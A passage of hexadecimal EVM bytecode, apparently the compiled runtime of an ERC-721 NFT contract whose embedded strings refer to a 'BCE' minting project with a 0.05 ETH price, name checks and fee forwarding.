ffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f6020528060005260406000206000915090508054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561151f5780601f106114f45761010080835404028352916020019161151f565b820191906000526020600020905b81548152906001019060200180831161150257829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060808290506060815167ffffffffffffffff8111801561157157600080fd5b506040519080825280601f01601f1916602001820160405280156115a45781602001600182028036833780820191505090505b50905060005b82518110156116c25760418382815181106115c157fe5b602001015160f81c60f81b60f81c60ff16101580156115fd5750605a8382815181106115e957fe5b602001015160f81c60f81b60f81c60ff1611155b1561166257602083828151811061161057fe5b602001015160f81c60f81b60f81c0160f81b82828151811061162e57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506116b5565b82818151811061166e57fe5b602001015160f81c60f81b82828151811061168557fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b80806001019150506115aa565b508092505050919050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117655780601f1061173a57610100808354040283529160200191611765565b820191906000526020600020905b81548152906001019060200180831161174857829003601f168201915b5050505050905090565b6000606082905060018151101561178a576000915050611a72565b60198151111561179e576000915050611a72565b602060f81b816000815181106117b057fe5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156117ed576000915050611a72565b602060f81b8160018351038151811061180257fe5b602001015160f81c60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561183f576000915050611a72565b60008160008151811061184e57fe5b602001015160f81c60f81b905060005b8251811015611a6a57600083828151811061187557fe5b602001015160f81c60f81b9050602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156118dc5750602060f81b837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b156118ee576000945050505050611a72565b603060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561194a5750603960f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1580156119b05750604160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156119ae5750605a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b8015611a155750606160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015611a135750607a60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b155b8015611a475750602060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b15611a59576000945050505050611a72565b80925050808060010191505061185e565b506001925050505b919050565b611a7f612a89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae4906157a0565b60405180910390fd5b8060056000611afa612a89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611ba7612a89565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611bec9190615648565b60405180910390a35050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611c2f611c29612a89565b83612b5f565b611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590615a80565b60405180910390fd5b611c7a84848484613008565b50505050565b6000611c8b8361118a565b90508073ffffffffffffffffffffffffffffffffffffffff16611cac612a89565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990615940565b60405180910390fd5b60011515611d0f8361176f565b151514611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890615a20565b60405180910390fd5b6002600c6000858152602001908152602001600020604051611d7391906154b3565b602060405180830381855afa158015611d90573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190611db39190614566565b600283604051611dc3919061549c565b602060405180830381855afa158015611de0573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190611e039190614566565b1415611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90615760565b60405180910390fd5b60001515611e5183610bc6565b151514611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90615700565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd611ed9612a89565b3068056bc75e2d631000006040518463ffffffff1660e01b8152600401611f0293929190615550565b602060405180830381600087803b158015611f1c57600080fd5b505af1158015611f30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f54919061453d565b506000600c6000858152602001908152602001600020805460018160011615610100020316600290049050111561203c5761203b600c60008581526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561202f5780601f106120045761010080835404028352916020019161202f565b820191906000526020600020905b81548152906001019060200180831161201257829003601f168201915b50505050506000613064565b5b612047826001613064565b81600c6000858152602001908152602001600020908051906020019061206e929190614013565b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c6868056bc75e2d631000006040518263ffffffff1660e01b81526004016120d39190615663565b600060405180830381600087803b1580156120ed57600080fd5b505af1158015612101573d6000803e3d6000fd5b505050507f7e632a301794d8d4a81ea7e20f37d1947158d36e66403af04ba85dd194b66f1b8383604051612136929190615b24565b60405180910390a1505050565b606061214e82612a6c565b61218d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612184906159e0565b60405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122365780601f1061220b57610100808354040283529160200191612236565b820191906000526020600020905b81548152906001019060200180831161221957829003601f168201915b5050505050905060606122476111c1565b905060008151141561225d5781925050506122c1565b60008251111561229257808260405160200161227a9291906154e1565b604051602081830303815290604052925050506122c1565b8061229c856130a6565b6040516020016122ad9291906154e1565b604051602081830303815290604052925050505b919050565b60006122f8600e60008481526020019081526020016000205460020a66b1a2bc2ec500006131ed90919063ffffffff16565b9050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123ab62127500600b5461325d90919063ffffffff16565b4211156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e490615800565b60405180910390fd5b600b54421015612432576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612429906157c0565b60405180910390fd5b61243b81612a6c565b1561265957600061244b8261118a565b9050612456826122c6565b3414612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248e906158c0565b60405180910390fd5b61249f612a89565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561250d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250490615a00565b60405180910390fd5b61251f81612519612a89565b84612c3d565b6000612548604661253a6064346132b290919063ffffffff16565b6131ed90919063ffffffff16565b90508173ffffffffffffffffffffffffffffffffffffffff168160405161256e90615505565b60006040518083038185875af1925050503d80600081146125ab576040519150601f19603f3d011682016040523d82523d6000602084013e6125b0565b606091505b50505060006125c8823461330890919063ffffffff16565b90506125d381613358565b6125fa6001600e60008781526020019081526020016000205461325d90919063ffffffff16565b600e6000868152602001908152602001600020819055507f6b8e277b5ac199aea04139b79dce59b078ad22c9648f1bd3083495991809b7708461263b612a89565b604051612649929190615afb565b60405180910390a1505050612813565b606481111561269d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269490615a20565b60405180910390fd5b60018110156126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d890615a20565b60405180910390fd5b66b1a2bc2ec50000341461272a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272190615a60565b60405180910390fd5b61273b612735612a89565b826134b5565b6127f081600f60008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127e65780601f106127bb576101008083540402835291602001916127e6565b820191906000526020600020905b8154815290600101906020018083116127c957829003601f168201915b50505050506134d3565b6127f934613358565b6001600e6000838152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19612859612a89565b61286e6103e8346131ed90919063ffffffff16565b6040518363ffffffff1660e01b815260040161288b9291906155d3565b600060405180830381600087803b1580156128a557600080fd5b505af11580156128b9573d6000803e3d6000fd5b5050505050565b6128c8612a89565b73ffffffffffffffffffffffffffffffffffffffff166128e6611527565b73ffffffffffffffffffffffffffffffffffffffff161461293c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612933906159a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156129ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a3906156e0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000612a8282600261354790919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612b048361118a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612b5882600001613561565b9050919050565b6000612b6a82612a6c565b612ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba090615840565b60405180910390fd5b6000612bb48361118a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612c2357508373ffffffffffffffffffffffffffffffffffffffff16612c0b84610a16565b73ffffffffffffffffffffffffffffffffffffffff16145b80612c345750612c3381856122ff565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612c5d8261118a565b73ffffffffffffffffffffffffffffffffffffffff1614612cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612caa906159c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1a90615780565b60405180910390fd5b612d2e838383613572565b612d39600082612a91565b612d8a81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061357790919063ffffffff16565b50612ddc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061359190919063ffffffff16565b50612df3818360026135ab9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612e6383600001836135e0565b60001c905092915050565b6000612e798261118a565b9050612e8781600084613572565b612e92600083612a91565b60006008600084815260200190815260200160002080546001816001161561010002031660029004905014612ee157600860008381526020019081526020016000206000612ee09190614093565b5b612f3282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061357790919063ffffffff16565b50612f4782600261364d90919063ffffffff16565b5081600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080600080612fbb8660000186613667565b915091508160001c8160001c9350935050509250929050565b6000612fe7846000018460001b846136ea565b60001c90509392505050565b60006130018260000161377b565b9050919050565b613013848484612c3d565b61301f8484848461378c565b61305e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613055906156c0565b60405180910390fd5b50505050565b80600d61307084611551565b60405161307d91906154ca565b908152602001604051809103902060006101000a81548160ff0219169083151502179055505050565b606060008214156130ee576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131e8565b600082905060005b60008214613118578080600101915050600a828161311057fe5b0491506130f6565b60608167ffffffffffffffff8111801561313157600080fd5b506040519080825280601f01601f1916602001820160405280156131645781602001600182028036833780820191505090505b50905060006001830390508593505b600084146131e057600a848161318557fe5b0660300160f81b8282806001900393508151811061319f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84816131d857fe5b049350613173565b819450505050505b919050565b6000808314156132005760009050613257565b600082840290508284828161321157fe5b0414613252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324990615920565b60405180910390fd5b809150505b92915050565b6000808284019050838110156132a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161329f90615740565b60405180910390fd5b8091505092915050565b60008082116132f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132ed90615860565b60405180910390fd5b8183816132ff57fe5b04905092915050565b60008282111561334d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613344906157e0565b60405180910390fd5b818303905092915050565b600061338160506133736064856132b290919063ffffffff16565b6131ed90919063ffffffff16565b90506000613398828461330890919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516133e090615505565b60006040518083038185875af1925050503d806000811461341d576040519150601f19603f3d011682016040523d82523d6000602084013e613422565b606091505b505050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161346b90615505565b60006040518083038185875af1925050503d80600081146134a8576040519150601f19603f3d011682016040523d82523d6000602084013e6134ad565b606091505b505050505050565b6134cf8282604051806020016040528060008152506138f0565b5050565b6134dc82612a6c565b61351b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161351290615980565b60405180910390fd5b80600860008481526020019081526020016000209080519060200190613542929190614013565b505050565b6000613559836000018360001b61394b565b905092915050565b600081600001805490509050919050565b505050565b6000613589836000018360001b61396e565b905092915050565b60006135a3836000018360001b613a56565b905092915050565b60006135d7846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b613ac6565b90509392505050565b60008183600001805490501161362b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613622906156a0565b60405180910390fd5b82600001828154811061363a57fe5b9060005260206000200154905092915050565b600061365f836000018360001b613ba2565b905092915050565b600080828460000180549050116136b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136aa906158e0565b60405180910390fd5b60008460000184815481106136c457fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000808460010160008581526020019081526020016000205490506000811415839061374c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613743919061567e565b60405180910390fd5b5084600001600182038154811061375f57fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b60006137ad8473ffffffffffffffffffffffffffffffffffffffff16613cbb565b6137ba57600190506138e8565b606061388163150b7a0260e01b6137cf612a89565b8887876040516024016137e59493929190615587565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001615eae603291398773ffffffffffffffffffffffffffffffffffffffff16613cce9092919063ffffffff16565b905060008180602001905181019061389991906145b8565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b6138fa8383613ce6565b613907600084848461378c565b613946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161393d906156c0565b60405180910390fd5b505050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114613a4a57600060018203905060006001866000018054905003905060008660000182815481106139b957fe5b90600052602060002001549050808760000184815481106139d657fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480613a0e57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050613a50565b60009150505b92915050565b6000613a628383613e74565b613abb578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050613ac0565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415613b6d57846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050613b9b565b82856000016001830381548110613b8057fe5b90600052602060002090600202016001018190555060009150505b9392505050565b60008083600101600084815260200190815260200160002054905060008114613caf5760006001820390506000600186600001805490500390506000866000018281548110613bed57fe5b9060005260206000209060020201905080876000018481548110613c0d57fe5b9060005260206000209060020201600082015481600001556001820154816001015590505060018301876001016000836000015481526020019081526020016000208190555086600001805480613c6057fe5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055866001016000878152602001908152602001600020600090556001945050505050613cb5565b60009150505b92915050565b600080823b905060008111915050919050565b6060613cdd8484600085613e97565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d4d90615900565b60405180910390fd5b613d5f81612a6c565b15613d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d9690615720565b60405180910390fd5b613dab60008383613572565b613dfc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061359190919063ffffffff16565b50613e13818360026135ab9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080836001016000848152602001908152602001600020541415905092915050565b606082471015613edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ed390615820565b60405180910390fd5b613ee585613cbb565b613f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f1b90615aa0565b60405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff168587604051613f4e919061549c565b60006040518083038185875af1925050503d8060008114613f8b576040519150601f19603f3d011682016040523d82523d6000602084013e613f90565b606091505b5091509150613fa0828286613fac565b92505050949350505050565b60608315613fbc5782905061400c565b600083511115613fcf5782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614003919061567e565b60405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061405457805160ff1916838001178555614082565b82800160010185558215614082579182015b82811115614081578251825591602001919060010190614066565b5b50905061408f91906140db565b5090565b50805460018160011615610100020316600290046000825580601f106140b957506140d8565b601f0160209004906000526020600020908101906140d791906140db565b5b50565b5b808211156140f45760008160009055506001016140dc565b5090565b60008135905061410781615e3a565b92915050565b600082601f83011261411e57600080fd5b813561413161412c82615b81565b615b54565b9150818183526020840193506020810190508360005b83811015614177578135860161415d88826142c1565b845260208401935060208301925050600181019050614147565b5050505092915050565b600082601f83011261419257600080fd5b81356141a56141a082615ba9565b615b54565b915081818352602084019350602081019050838560208402820111156141ca57600080fd5b60005b838110156141fa57816141e08882614315565b8452602084019350602083019250506001810190506141cd565b5050505092915050565b60008135905061421381615e51565b92915050565b60008151905061422881615e51565b92915050565b60008151905061423d81615e68565b92915050565b60008135905061425281615e7f565b92915050565b60008151905061426781615e7f565b92915050565b600082601f83011261427e57600080fd5b813561429161428c82615bd1565b615b54565b915080825260208301602083018583830111156142ad57600080fd5b6142b8838284615de7565b50505092915050565b600082601f8301126142d257600080fd5b81356142e56142e082615bfd565b615b54565b9150808252602083016020830185838301111561430157600080fd5b61430c838284615de7565b50505092915050565b60008135905061432481615e96565b92915050565b60006020828403121561433c57600080fd5b600061434a848285016140f8565b91505092915050565b6000806040838503121561436657600080fd5b6000614374858286016140f8565b9250506020614385858286016140f8565b9150509250929050565b6000806000606084860312156143a457600080fd5b60006143b2868287016140f8565b93505060206143c3868287016140f8565b92505060406143d486828701614315565b9150509250925092565b600080600080608085870312156143f457600080fd5b6000614402878288016140f8565b9450506020614413878288016140f8565b935050604061442487828801614315565b925050606085013567ffffffffffffffff81111561444157600080fd5b61444d8782880161426d565b91505092959194509250565b6000806040838503121561446c57600080fd5b600061447a858286016140f8565b925050602061448b85828601614204565b9150509250929050565b600080604083850312156144a857600080fd5b60006144b6858286016140f8565b92505060206144c785828601614315565b9150509250929050565b600080604083850312156144e457600080fd5b600083013567ffffffffffffffff8111156144fe57600080fd5b61450a85828601614181565b925050602083013567ffffffffffffffff81111561452757600080fd5b6145338582860161410d565b9150509250929050565b60006020828403121561454f57600080fd5b600061455d84828501614219565b91505092915050565b60006020828403121561457857600080fd5b60006145868482850161422e565b91505092915050565b6000602082840312156145a157600080fd5b60006145af84828501614243565b91505092915050565b6000602082840312156145ca57600080fd5b60006145d884828501614258565b91505092915050565b6000602082840312156145f357600080fd5b600082013567ffffffffffffffff81111561460d57600080fd5b614619848285016142c1565b91505092915050565b60006020828403121561463457600080fd5b600061464284828501614315565b91505092915050565b6000806040838503121561465e57600080fd5b600061466c85828601614315565b925050602083013567ffffffffffffffff81111561468957600080fd5b614695858286016142c1565b9150509250929050565b60006146ab83836148e1565b905092915050565b60006146bf838361547e565b60208301905092915050565b6146d481615d9f565b82525050565b6146e381615d21565b82525050565b6146f281615d0f565b82525050565b600061470382615c5e565b61470d8185615ca4565b93508360208202850161471f85615c29565b8060005b8581101561475b578484038952815161473c858261469f565b945061474783615c8a565b925060208a01995050600181019050614723565b50829750879550505050505092915050565b600061477882615c69565b6147828185615cb5565b935061478d83615c39565b8060005b838110156147be5781516147a588826146b3565b97506147b083615c97565b925050600181019050614791565b5085935050505092915050565b6147d481615d33565b82525050565b60006147e582615c74565b6147ef8185615cc6565b93506147ff818560208601615df6565b61480881615e29565b840191505092915050565b600061481e82615c74565b6148288185615cd7565b9350614838818560208601615df6565b80840191505092915050565b6000815460018116600081146148615760018114614886576148ca565b607f60028304166148728187615cd7565b955060ff19831686528086019350506148ca565b600282046148948187615cd7565b955061489f85615c49565b60005b828110156148c1578154818901526001820191506020810190506148a2565b82880195505050505b505092915050565b6148db81615db1565b82525050565b60006148ec82615c7f565b6148f68185615ce2565b9350614906818560208601615df6565b61490f81615e29565b840191505092915050565b600061492582615c7f565b61492f8185615cf3565b935061493f818560208601615df6565b61494881615e29565b840191505092915050565b600061495e82615c7f565b6149688185615d04565b9350614978818560208601615df6565b80840191505092915050565b6000614991602283615cf3565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006149f7603283615cf3565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000614a5d602683615cf3565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614ac3600a83615cf3565b91507f4243453a2054616b656e000000000000000000000000000000000000000000006000830152602082019050919050565b6000614b03601c83615cf3565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000614b43601b83615cf3565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000614b83600983615cf3565b91507f4243453a205573656400000000000000000000000000000000000000000000006000830152602082019050919050565b6000614bc3602483615cf3565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614c29601983615cf3565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000614c69601483615cf3565b91507f4243453a20686173206e6f7420737461727465640000000000000000000000006000830152602082019050919050565b6000614ca9601e83615cf3565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000614ce9600e83615cf3565b91507f4243453a2068617320656e6465640000000000000000000000000000000000006000830152602082019050919050565b6000614d29602683615cf3565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614d8f602c83615cf3565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000614df5601a83615cf3565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b6000614e35603883615cf3565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000614e9b602a83615cf3565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000614f01601283615cf3565b91507f4243453a20496e76616c696420507269636500000000000000000000000000006000830152602082019050919050565b6000614f41602283615cf3565b91507f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614fa7602083615cf3565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000614fe7602183615cf3565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061504d600e83615cf3565b91507f4243453a204f776e6572736869700000000000000000000000000000000000006000830152602082019050919050565b600061508d602c83615cf3565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006150f3602c83615cf3565b91507f4552433732314d657461646174613a2055524920736574206f66206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000615159602083615cf3565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000615199602983615cf3565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006151ff602f83615cf3565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b6000615265601283615cf3565b91507f4243453a20416c7265616479204f776e656400000000000000000000000000006000830152602082019050919050565b60006152a5600c83615cf3565b91507f4243453a20496e76616c696400000000000000000000000000000000000000006000830152602082019050919050565b60006152e5602183615cf3565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061534b600d83615cf3565b91507f4243453a20302e303520455448000000000000000000000000000000000000006000830152602082019050919050565b600061538b600083615cd7565b9150600082019050919050565b60006153a5603183615cf3565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061540b601d83615cf3565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b600061544b601083615cf3565b91507f4243453a20696e697469616c697a6564000000000000000000000000000000006000830152602082019050919050565b61548781615d95565b82525050565b61549681615d95565b82525050565b60006154a88284614813565b915081905092915050565b60006154bf8284614844565b915081905092915050565b60006154d68284614953565b915081905092915050565b60006154ed8285614953565b91506154f98284614953565b91508190509392505050565b60006155108261537e565b9150819050919050565b600060208201905061552f60008301846146e9565b92915050565b600060208201905061554a60008301846146da565b92915050565b600060608201905061556560008301866146cb565b61557260208301856146e9565b61557f60408301846148d2565b949350505050565b600060808201905061559c60008301876146da565b6155a960208301866146e9565b6155b6604083018561548d565b81810360608301526155c881846147da565b905095945050505050565b60006040820190506155e860008301856146cb565b6155f5602083018461548d565b9392505050565b60006060820190508181036000830152615616818661476d565b9050818103602083015261562a818561476d565b9050818103604083015261563e81846146f8565b9050949350505050565b600060208201905061565d60008301846147cb565b92915050565b600060208201905061567860008301846148d2565b92915050565b60006020820190508181036000830152615698818461491a565b905092915050565b600060208201905081810360008301526156b981614984565b9050919050565b600060208201905081810360008301526156d9816149ea565b9050919050565b600060208201905081810360008301526156f981614a50565b9050919050565b6000602082019050818103600083015261571981614ab6565b9050919050565b6000602082019050818103600083015261573981614af6565b9050919050565b6000602082019050818103600083015261575981614b36565b9050919050565b6000602082019050818103600083015261577981614b76565b9050919050565b6000602082019050818103600083015261579981614bb6565b9050919050565b600060208201905081810360008301526157b981614c1c565b9050919050565b600060208201905081810360008301526157d981614c5c565b9050919050565b600060208201905081810360008301526157f981614c9c565b9050919050565b6000602